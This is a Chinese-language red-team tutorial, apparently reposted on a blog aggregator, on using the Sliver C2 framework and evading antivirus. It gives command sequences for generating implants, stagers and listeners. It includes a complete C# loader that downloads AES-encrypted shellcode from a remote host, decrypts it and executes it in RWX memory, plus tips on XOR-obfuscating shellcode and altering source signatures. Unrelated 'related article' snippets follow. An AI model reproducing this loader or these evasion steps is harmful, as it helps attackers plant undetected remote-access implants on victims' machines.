免杀对抗-安全工具篇新型Go架构C2-Sliver多平台上线模式红队集成研究免杀方向

在这里插入图片描述

首先,你需要分析:
1、安全工具是否有源代码
2、安全工具源代码逻辑复杂程度
3、当前源代码你是否有能力修改
其次,你需要考虑:
1、无源码或无能力修改
2、各种异常bug打包问题
3、修改打包后效果也不太好
故:
1、非源码修改方式:
转换SC利用同C2的加载上线模式进行对抗(难度小速度快但效果不一)
2、源码修改方式:
魔改源码打乱特征的方法重新定义工具项目(难度大但修改好后效果稳)

安全工具-新型C2-Sliver使用详解

Sliver C2 是一个开源的跨平台红队框架,采用Go开发,目前特征相对于CS更少!
集成了MSF命令行运行模式,又结合了CS的优势特点,合并提供了两种操作模式
Beacon mode:实现了异步通信方式
Session mode:实现了实时会话方式
优势:
免杀能力强化
模块化多扩展
多操组员模式
开源移植性强
支持多平台(Linux, Windows and MacOS)

Implant | 植入物
Listener | 监听器
Sessions | 会话
Beacons | 信标
Armory | 扩展管理器
Multiplayer | 多操作员模式
参考:https://forum.butian.net/share/2243

服务端:

sudo apt-get install mingw-w64 binutils-mingw-w64 g+±mingw-w64
给予执行权限:chmod +x sliver-server_linux
直接执行启用:sudo ./sliver-server_linux
生成连接凭据:new-operator --name xiaodisec --lhost 192.168.139.228
启用多人运动:multiplayer

客户端:

导入凭据:
sliver-client_windows.exe import xiaodisec_192.168.139.228.cfg
再次连接:
sliver-client_windows.exe

生成exe

Session mode:
generate --http http://192.168.139.141:90 --os windows
Beacon mode:
generate beacon --http http://192.168.139.141:90 --os windows -S 5

Session mode(Shellcode)

创建profiles
http -l 9002
profiles new --http 192.168.139.141:9002 --skip-symbols --format shellcode --arch amd64 session_test
创建分阶段监听器
stage-listener --url tcp://192.168.139.141:8443 --profile session_test
创建Stager
generate stager --lhost 192.168.139.141 --lport 8443 --arch amd64 --format c

Beacon mode(Shellcode)

http -l 9003
profiles new beacon --http 192.168.139.141:9003 --skip-symbols --format shellcode --arch amd64 beacon_test(-S 5)
stage-listener --url tcp://192.168.139.141:8003 --profile beacon_test
generate stager --lhost 192.168.139.141 --lport 8003 --arch amd64 --format c

配合C# AES

参考:https://sliver.sh/docs?name=Stagers

http -l 9004
profiles new beacon --http 192.168.139.141:9004 --skip-symbols --format shellcode --arch amd64 xiaodisec
stage-listener --url http://192.168.139.141:8004 --profile xiaodisec --aes-encrypt-key xiaodigayaxiaodi --aes-encrypt-iv gayagayagayagaya
访问http://192.168.139.141:8004/xx.woff

创建出C#项目

using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;namespace Sliver_stager
{class Program{private static string AESKey = "D(G+KbPeShVmYq3t";private static string AESIV = "8y/B?E(G+KbPeShV";private static string url = "http://192.168.24.128:8443/test.woff";[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("kernel32.dll")]static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);public static void DownloadAndExecute(){ServicePointManager.ServerCertificateValidationCallback += (sender, certificate, chain, sslPolicyErrors) => true;System.Net.WebClient client = new System.Net.WebClient();byte[] shellcode = client.DownloadData(url);List<byte> l = new List<byte> { };for (int i = 16; i <= shellcode.Length -1; i++) {l.Add(shellcode[i]);}byte[] actual = l.ToArray();byte[] decrypted;decrypted = Decrypt(actual, AESKey, AESIV);IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)decrypted.Length, 0x3000, 0x40);Marshal.Copy(decrypted, 0, addr, decrypted.Length);IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);WaitForSingleObject(hThread, 0xFFFFFFFF);return;}private static byte[] Decrypt(byte[] ciphertext, string AESKey, string AESIV){byte[] key = Encoding.UTF8.GetBytes(AESKey);byte[] IV = Encoding.UTF8.GetBytes(AESIV);using (Aes aesAlg = Aes.Create()){aesAlg.Key = key;aesAlg.IV = IV;aesAlg.Padding = PaddingMode.None;ICryptoTransform decryptor = aesAlg.CreateDecryptor(aesAlg.Key, aesAlg.IV);using (MemoryStream memoryStream = new MemoryStream(ciphertext)){using (CryptoStream cryptoStream = new CryptoStream(memoryStream, decryptor, CryptoStreamMode.Write)){cryptoStream.Write(ciphertext, 0, ciphertext.Length);return memoryStream.ToArray();}}}}public static void Main(String[] args){DownloadAndExecute();}}
}

生成exe上线

配合PowerShell

参考:https://forum.butian.net/share/2275

profiles new beacon --http 192.168.139.141:9005 --skip-symbols --format shellcode --arch amd64 pstest
http -l 9005
stage-listener --url http://192.168.139.141:8005 --profile pstest

安全工具-新型C2-Sliver免杀方向

1、同CS一样针对ShellCode处理

generate stager --lhost x.x.x.x --lport xx --format raw
file_fl_xor.cpp
2、源码级别的二开魔改打乱特征
-默认生成的模版
-Profile流量模版
-改动工具执行调用链

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/786100.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

VScode使用Prettier格式化代码

1、安装Prettier插件 2、扩展设置 3、设置.prettierrc.json配置文件路径 4、.prettierrc 配置文件 .prettierrc.json 是 Prettier 格式化工具的配置文件&#xff0c;用于指定代码格式化的规则和风格。下面是一些可能的配置选项&#xff0c;请自行选择&#xff1a; {"prin…

MetaGPT部分源码解读--Memory

storage: list[SerializeAsAny[Message]] []index: DefaultDict[str, list[SerializeAsAny[Message]]] Field(default_factorylambda: defaultdict(list))ignore_id: bool False storage 属性是一个列表&#xff0c;用于存储消息对象。每个消息对象都被标记为 SerializeAsAn…

Yarn与Zookeeper的介绍

Yarn--三大调度策略 FIFO(先进先出): 目前几乎已经没有人使用了. 类似于: 单行道. 好处: 每个计算任务能独享集群100%的资源. 弊端: 不能并行执行, 如果大任务过多, 会导致小任务执行时间过长. Capacity(容量调度): 我们用…

找到矩阵中位于降序15%位置的值

MATLAB实现 clc clearvars; matrix randn(10, 10); % 一个示例矩阵 disp(matrix)value find_value_at_15_percent(matrix); disp([位于降序中15%位置的值为: , num2str(value)]);% 验证 xreshape(matrix,1,100); ysort(x,descend); y(1:16)function value_at_15_percent fi…

缓存(反向代理)服务器-varnish

varnish简介&#xff1a; varnish是一款高性能且开源的反向代理服务器和HTTP加速器&#xff0c;&#xff08;其实就是带缓存的反向代理服务器&#xff09;它可以把整个HTTP响应内容缓存到内存或文件中&#xff0c;从而提高web服务器器的响应速度。 与传统的squid相比&#xff0…

【Java后端开发】教程及案例

Java后端开发是软件开发中的一个重要领域&#xff0c;它涉及到服务器端的程序设计、数据库交互、API开发、安全性处理等多个方面。以下是关于Java后端开发的教程和案例的详细介绍&#xff1a; ### Java后端开发基础 #### 1. Java基础知识 - 掌握Java基础语法、面向对象编程、…

压测Nginx时对Linux内核参数优化,以支持更高的并发

文章目录 Linux内核参数优化参数意义解析注意事项 Linux内核参数优化 编辑/etc/sysctl.conf文件 fs.file-max 999999 net.ipv4.tcp_tw_reuse 1 net.ipv4.tcp_keepalive_time 600 net.ipv4.tcp_fin_timeout 30 net.ipv4.tcp_max_tw_buckets 5000 net.ipv4.ip_local_port_…

如何提高图片的分辨率?dpi修改工具推荐

在调整分辨率之前&#xff0c;我们需要了解什么是dpi分辨率&#xff0c;简单来说&#xff0c;分辨率是指图像中包含的像素数量&#xff0c;分辨率越高&#xff0c;图像就越清晰&#xff0c;常见的分辨率包括72dpi、96dpi和300dpi等&#xff0c;在打印照片或者一些考试平台对图片…

02-JDK新特性-泛型

泛型 什么是泛型 泛型是JDK5中引入的特性&#xff0c;它提供了编译时类型安全检测机制&#xff0c;该机制允许在编译是检测到非法的类型。 它的本质是参数化类型&#xff0c;也就是说操作的数据类型被指定为一个参数。 也就是将类型有原来的具体类型参数化&#xff0c;然后在…

【CVE复现计划】CVE-2023-27179

CVE-2023-27179 简介&#xff1a; GDidees CMS v3.9.1及更低版本被发现存在本地文件泄露漏洞&#xff0c;漏洞通过位于 /_admin/imgdownload.php 的 filename 参数进行利用。 影响版本&#xff1a; GDidees CMS v3.9.1及更低版本 POC: /_admin/imgdownload.php?filename/fla…

2024蓝桥杯每日一题(树形DP)

备战2024年蓝桥杯 -- 每日一题 Python大学A组 试题一&#xff1a;病毒溯源 试题二&#xff1a;没有上司的舞会 试题三&#xff1a;生命之树 试题一&#xff1a;病毒溯源 【题目描述】 病毒容易发生变异。某种病毒可以通过突变产生若干变异的毒株&#xff0c;而…

MATLAB 自定义中值滤波(54)

MATLAB 自定义中值滤波(54) 一、算法介绍二、算法实现1.原理2.代码一、算法介绍 中值滤波,是一种常见的点云平滑算法,改善原始点云的数据质量问题,MATLAB自带的工具似乎不太友好,这里提供自定义实现的点云中值滤波算法,具体效果如下所示: 中值滤波前: 中值滤波后:…

前端性能优化-Table渲染速度优化

教务系统-排课页面性能优化总结 一、前言 在公司教务系统中,排课页面慢的令人发指,在某些情况由于数据量大导致页面主进程卡死,遂组织进行一次排查优化,现记录一下 二、效果对比 以下数据均为UAT环境 Performence对比 更改前: 主进程渲染时间为 8s 教务系统-排课页面性…

Ubuntu安装elasticsearch

Ubuntu系统上安装Elasticsearch可以通过多种方式进行&#xff0c;以下是几种常用的安装方法。在开始安装前&#xff0c;请确保你的系统是最新的&#xff0c;这可以通过运行sudo apt update和sudo apt upgrade命令来完成。 方法一&#xff1a;使用APT仓库安装&#xff08;推荐&…

【日常积累】指定ruby版本环境安装

背景说明 在redis的5.0版本之前&#xff0c;使用redis提供的redis-trib创建redis集群时还需要依赖ruby环境。当然有时候我们自已也需要安装指定ruby版本环境。下面是安装时的大致过程&#xff0c;以及过程中遇到的问题解决。我使用的环境是centos7&#xff0c;小版本差别应该不…

std::exit功能介绍和析构函数调用

std::exit函数调用后&#xff0c;系统会终止当前执行的程序&#xff08;无论主线程还是子线程调用&#xff0c;该程序都会被终止&#xff09;&#xff0c;在终止之前会有一些清理步骤会被执行&#xff1a; 静态存储对象&#xff08;静态的或者全局的&#xff09;会被析构&#…

MHA的实验部署

一、前期准备 准备四台虚拟机&#xff0c;一台主服务器&#xff0c;一台管理服务器&#xff0c;两台从服务器 在开始之前先要关闭所有服务器的防火墙&#xff0c;以免有一些麻烦 二、实际操作 2.1 配置主服务器 2.2 配置从服务器1和2 2.3 给主从服务器实现软链接 2.4 配置mysql…

Docker学习指南

前言 亲爱的读者们&#xff0c;欢迎来到这篇专为“小白”打造的 Docker 学习博客。作为一名运维工程师&#xff0c;我深知初学者在面对 Docker 这样的技术时可能会遇到的困惑与挑战。因此&#xff0c;本文将以浅显易懂的语言、详实的步骤和实用的示例&#xff0c;带领大家从零…

TypseScript再学习之类型别名和接口(10)

先看类型别名&#xff1a;使用关键字 type 声明,注意有等于号额 // 类型别名 使用关键字 type 声明,注意有等于号额 type Cat {name: string; }; let huahua: Cat {name: "花花", };type和interface不同之处在于&#xff1a;interface 是可以自动合并类型的&#…